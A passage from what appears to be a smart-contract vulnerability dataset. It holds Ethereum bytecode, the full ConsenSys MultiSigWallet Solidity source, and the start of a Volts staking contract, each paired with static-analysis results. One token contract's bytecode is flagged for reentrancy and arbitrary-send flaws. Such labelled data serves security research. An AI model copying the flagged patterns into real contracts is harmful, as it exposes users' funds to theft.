600e546109a69030906001600160a01b031669152d02c7e14af6800000610b31565b600e546001600160a01b031663f305d71947306109c281610560565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3a57600080fd5b505af1158015610a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a73919061187b565b5050600f8054681043561a8829300000601055683635c9adc5dea0000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d919061183c565b6001600160a01b038316610b935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610bf45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610d1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610d2857600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610d4e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d9057506001600160a01b03821660009081526005602052604090205460ff16155b15610f33576000600955600c54600a55600f546001600160a01b038481169116148015610dcb5750600e546001600160a01b03838116911614155b8015610df057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e055750600f54600160b81b900460ff165b15610e40576000610e1583610560565b9050601054821115610e2657600080fd5b601154610e3383836111c4565b1115610e3e57600080fd5b505b600f546001600160a01b038381169116148015610e6b5750600e546001600160a01b03848116911614155b8015610e9057506001600160a01b03831660009081526005602052604090205460ff16155b15610ea1576000600955600b54600a555b6000610eac30610560565b600f54909150600160a81b900460ff16158015610ed75750600f546001600160a01b03858116911614155b8015610eec5750600f54600160b01b900460ff165b15610f31576000610efe6006836119bc565b9050610f0a81836119fd565b9150610f1581611223565b610f1e8261103b565b478015610f2e57610f2e47610f7d565b50505b505b610f3e838383611259565b505050565b60008184841115610f675760405162461bcd60e51b815260040161046591906118a9565b506000610f7484866119fd565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610525573d6000803e3d6000fd5b600060075482111561101e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610465565b6000611028611264565b90506110348382611287565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108357611083611a45565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110d757600080fd5b505afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f9190611690565b8160018151811061112257611122611a45565b6001600160a01b039283166020918202929092010152600e546111489130911684610b31565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611181908590600090869030904290600401611933565b600060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111d183856119a4565b9050838110156110345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600f805460ff60a81b1916600160a81b1790558015611249576112493061dead83610c55565b50600f805460ff60a81b19169055565b610f3e8383836112c9565b60008060006112716113c0565b90925090506112808282611287565b9250505090565b600061103483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611404565b6000806000806000806112db87611432565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130d908761148f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133c90866111c4565b6001600160a01b03891660009081526002602052604090205561135e816114d1565b611368848361151b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ad91815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af68000006113dd8282611287565b8210156113fb5750506007549269152d02c7e14af680000092509050565b90939092509050565b600081836114255760405162461bcd60e51b815260040161046591906118a9565b506000610f7484866119bc565b600080600080600080600080600061144f8a600954600a5461153f565b925092509250600061145f611264565b905060008060006114728e878787611594565b919e509c509a509598509396509194505050505091939550919395565b600061103483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f43565b60006114db611264565b905060006114e983836115e4565b3060009081526002602052604090205490915061150690826111c4565b30600090815260026020526040902055505050565b600754611528908361148f565b60075560085461153890826111c4565b6008555050565b6000808080611559606461155389896115e4565b90611287565b9050600061156c60646115538a896115e4565b905060006115848261157e8b8661148f565b9061148f565b9992985090965090945050505050565b60008080806115a388866115e4565b905060006115b188876115e4565b905060006115bf88886115e4565b905060006115d18261157e868661148f565b939b939a50919850919650505050505050565b6000826115f3575060006103cc565b60006115ff83856119de565b90508261160c85836119bc565b146110345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b803561166e81611a71565b919050565b60006020828403121561168557600080fd5b813561103481611a71565b6000602082840312156116a257600080fd5b815161103481611a71565b600080604083850312156116c057600080fd5b82356116cb81611a71565b915060208301356116db81611a71565b809150509250929050565b6000806000606084860312156116fb57600080fd5b833561170681611a71565b9250602084013561171681611a71565b929592945050506040919091013590565b6000806040838503121561173a57600080fd5b823561174581611a71565b946020939093013593505050565b6000602080838503121561176657600080fd5b823567ffffffffffffffff8082111561177e57600080fd5b818501915085601f83011261179257600080fd5b8135818111156117a4576117a4611a5b565b8060051b604051601f19603f830116810181811085821117156117c9576117c9611a5b565b604052828152858101935084860182860187018a10156117e857600080fd5b600095505b83861015611812576117fe81611663565b8552600195909501949386019386016117ed565b5098975050505050505050565b60006020828403121561183157600080fd5b813561103481611a86565b60006020828403121561184e57600080fd5b815161103481611a86565b6000806040838503121561186c57600080fd5b50508035926020909101359150565b60008060006060848603121561189057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118d6578581018301518582016040015282016118ba565b818111156118e8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119835784516001600160a01b03168352938301939183019160010161195e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119b7576119b7611a2f565b500190565b6000826119d957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119f8576119f8611a2f565b500290565b600082821015611a0f57611a0f611a2f565b500390565b6000600019821415611a2857611a28611a2f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461055d57600080fd5b801515811461055d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4b637ce550b4d8ee01dbc86743d0b4a9dd4fc84c48914dacf5be0ac47d2f66c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,965 |
0x3dd88b391fe62a91436181ed2d43e20b86cde60c | /// This code was taken from: https://github.com/ConsenSys. Please do not change or refactor.
pragma solidity 0.4.11;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="b4c7c0d1d2d5da9ad3d1dbc6d3d1f4d7dbdac7d1dac7cdc79adad1c0">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461016c578063173825d91461019b57806320ea8d86146101b95780632f54bf6e146101ce5780633411c81c146101fe57806354741525146102315780637065cb481461025d578063784547a71461027b5780638b51d13f146102a25780639ace38c2146102c7578063a0e67e2b14610384578063a8abe69a146103ef578063b5dc40c31461046a578063b77bf600146104d8578063ba51a6df146104fa578063c01a8c841461050f578063c642747414610524578063d74f8edd14610599578063dc8452cd146105bb578063e20056e6146105dd578063ee22610b14610601575b61016a5b600034111561016757604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b5b565b005b341561017457fe5b61017f600435610616565b60408051600160a060020a039092168252519081900360200190f35b34156101a357fe5b61016a600160a060020a0360043516610648565b005b34156101c157fe5b61016a6004356107f9565b005b34156101d657fe5b6101ea600160a060020a03600435166108d6565b604080519115158252519081900360200190f35b341561020657fe5b6101ea600435600160a060020a03602435166108eb565b604080519115158252519081900360200190f35b341561023957fe5b61024b6004351515602435151561090b565b60408051918252519081900360200190f35b341561026557fe5b61016a600160a060020a036004351661097a565b005b341561028357fe5b6101ea600435610ab1565b604080519115158252519081900360200190f35b34156102aa57fe5b61024b600435610b45565b60408051918252519081900360200190f35b34156102cf57fe5b6102da600435610bc4565b60408051600160a060020a03861681526020810185905282151560608201526080918101828152845460026000196101006001841615020190911604928201839052909160a0830190859080156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b50509550505050505060405180910390f35b341561038c57fe5b610394610bf8565b60408051602080825283518183015283519192839290830191858101910280838382156103dc575b8051825260208311156103dc57601f1990920191602091820191016103bc565b5050509050019250505060405180910390f35b34156103f757fe5b61039460043560243560443515156064351515610c61565b60408051602080825283518183015283519192839290830191858101910280838382156103dc575b8051825260208311156103dc57601f1990920191602091820191016103bc565b5050509050019250505060405180910390f35b341561047257fe5b610394600435610d96565b60408051602080825283518183015283519192839290830191858101910280838382156103dc575b8051825260208311156103dc57601f1990920191602091820191016103bc565b5050509050019250505060405180910390f35b34156104e057fe5b61024b610f1e565b60408051918252519081900360200190f35b341561050257fe5b61016a600435610f24565b005b341561051757fe5b61016a600435610fb4565b005b341561052c57fe5b604080516020600460443581810135601f810184900484028501840190955284845261024b948235600160a060020a03169460248035956064949293919092019181908401838280828437509496506110a295505050505050565b60408051918252519081900360200190f35b34156105a157fe5b61024b6110c2565b60408051918252519081900360200190f35b34156105c357fe5b61024b6110c7565b60408051918252519081900360200190f35b34156105e557fe5b61016a600160a060020a03600435811690602435166110cd565b005b341561060957fe5b61016a600435611289565b005b600380548290811061062457fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561066b5760006000fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106955760006000fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107905782600160a060020a03166003838154811015156106df57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107845760038054600019810190811061072057fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561074f57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550610790565b5b6001909101906106b8565b6003805460001901906107a390826114e4565b5060035460045411156107bc576003546107bc90610f24565b5b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff1615156108225760006000fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156108585760006000fd5b600084815260208190526040902060030154849060ff161561087a5760006000fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561097257838015610938575060008181526020819052604090206003015460ff16155b8061095c575082801561095c575060008181526020819052604090206003015460ff165b5b15610969576001820191505b5b60010161090f565b5b5092915050565b30600160a060020a031633600160a060020a031614151561099b5760006000fd5b600160a060020a038116600090815260026020526040902054819060ff16156109c45760006000fd5b81600160a060020a03811615156109db5760006000fd5b60038054905060010160045460328211806109f557508181115b806109fe575080155b80610a07575081155b15610a125760006000fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a4a83826114e4565b916000526020600020900160005b8154600160a060020a03808a166101009390930a838102910219909116179091556040519091507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25b5b50505b505b505b50565b600080805b600354811015610b3d5760008481526001602052604081206003805491929184908110610adf57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b21576001820191505b600454821415610b345760019250610b3d565b5b600101610ab6565b5b5050919050565b6000805b600354811015610bbd5760008381526001602052604081206003805491929184908110610b7257fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bb4576001820191505b5b600101610b49565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c00611538565b6003805480602002602001604051908101604052809291908181526020018280548015610c5657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c38575b505050505090505b90565b610c69611538565b610c71611538565b60006000600554604051805910610c855750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d1f57858015610ccb575060008181526020819052604090206003015460ff16155b80610cef5750848015610cef575060008181526020819052604090206003015460ff165b5b15610d1657808383815181101515610d0457fe5b60209081029091010152600191909101905b5b600101610ca2565b878703604051805910610d2f5750595b908082528060200260200182016040525b5093508790505b86811015610d8a578281815181101515610d5d57fe5b9060200190602002015184898303815181101515610d7757fe5b602090810290910101525b600101610d47565b5b505050949350505050565b610d9e611538565b610da6611538565b6003546040516000918291805910610dbb5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ea05760008581526001602052604081206003805491929184908110610e0157fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610e97576003805482908110610e4a57fe5b906000526020600020900160005b9054906101000a9004600160a060020a03168383815181101515610e7857fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dd8565b81604051805910610eae5750595b908082528060200260200182016040525b509350600090505b81811015610f15578281815181101515610edd57fe5b906020019060200201518482815181101515610ef557fe5b600160a060020a039092166020928302909101909101525b600101610ec7565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f455760006000fd5b600354816032821180610f5757508181115b80610f60575080155b80610f69575081155b15610f745760006000fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610fdd5760006000fd5b6000828152602081905260409020548290600160a060020a031615156110035760006000fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16156110385760006000fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36108cc85611289565b5b5b50505b505b5050565b60006110af8484846113f1565b90506110ba81610fb4565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a03161415156110f05760006000fd5b600160a060020a038316600090815260026020526040902054839060ff16151561111a5760006000fd5b600160a060020a038316600090815260026020526040902054839060ff16156111435760006000fd5b600092505b6003548310156111eb5784600160a060020a031660038481548110151561116b57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111df57836003848154811015156111aa57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506111eb565b5b600190920191611148565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112ab5760006000fd5b6112b483610ab1565b156107f2576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156113625780601f1061133757610100808354040283529160200191611362565b820191906000526020600020905b81548152906001019060200180831161134557829003601f168201915b505091505060006040518083038185876187965a03f192505050156113b15760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26107f2565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561140a5760006000fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261148a92600285019291019061155c565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a25b5b509392505050565b8154818355818115116107f2576000838152602090206107f29181019083016115db565b5b505050565b8154818355818115116107f2576000838152602090206107f29181019083016115db565b5b505050565b60408051602081019091526000815290565b60408051602081019091526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061159d57805160ff19168380011785556115ca565b828001600101855582156115ca579182015b828111156115ca5782518255916020019190600101906115af565b5b506115d79291506115db565b5090565b610c5e91905b808211156115d757600081556001016115e1565b5090565b905600a165627a7a72305820446c768625a2876fcae4dade2a947e952d123b788cc469be08ecf33411c2f68c0029 | {"success": true, "error": null, "results": {}} | 1,966 |
0xcb3352f6ce6ee0232bc53c25877a65992af3cd5e | /*
website: volts.finance
______ __
/ \ / |
/$$$$$$ |$$ |____ _____ ____ _______
$$ | $$ |$$ \ / \/ \ / |
$$ | $$ |$$$$$$$ |$$$$$$ $$$$ |/$$$$$$$/
$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ \
$$ \__$$ |$$ | $$ |$$ | $$ | $$ | $$$$$$ |
$$ $$/ $$ | $$ |$$ | $$ | $$ |/ $$/
$$$$$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$$/
LP token and VOLTS staking contract of the Volts-Ecosystem
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
